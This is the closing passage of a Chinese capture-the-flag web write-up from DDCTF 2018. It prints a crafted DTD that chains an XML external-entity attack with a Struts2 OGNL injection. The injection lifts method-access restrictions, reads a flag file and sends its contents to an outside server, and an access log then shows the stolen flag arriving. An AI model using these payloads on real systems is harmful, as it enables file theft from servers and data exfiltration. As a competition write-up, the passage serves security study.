#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()
#genxor.println(#d)
#genxor.flush()
#genxor.close()
}

构造 struts2 攻击 stwo.dtd

<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action?redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23w%3Dnew%20java.io.File(%22%2Fflag%2Fflag.txt%22)%2C%23a%3Dnew%20java.io.FileInputStream(%23w)%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B60%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://111.222.333.444/?%file;'>">
%all;

最终从访问日志中获得 flag:

116.85.48.104 - - [20/Apr/2018:22:24:30 +0800] "GET /stwo.dtd HTTP/1.1" 200 1067 "-" "Java/1.8.0_151"
116.85.48.104 - - [20/Apr/2018:22:24:31 +0800] "GET /?DDCTF{You_Got_it_WonDe2fUl_Man_ha2333_CQjXiolS2jqUbYIbtrOb} HTTP/1.1" 404 496 "-" "Java/1.8.0_151"
本次WEB篇的writeup到此结束啦~附上比赛平台链接:http://ddctf.didichuxing.com/
原文地址:http://mp.weixin.qq.com/s?__biz=MzA3Mzk1MDk1NA==&mid=2651904642&idx=1&sn=4944d9d400c7c3e3d69c2301c8cb9a62&chksm=84e34907b394c01123e08ad8f1dc9e9e85414e82714fffe516774be56359522fe19763f81b99&mpshare=1&scene=23&srcid=0514bLsyVhV1lOWJawp0qYwb#rd 
                                                                                         
                                                                            更多资讯请扫码关注微信公众号~1
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多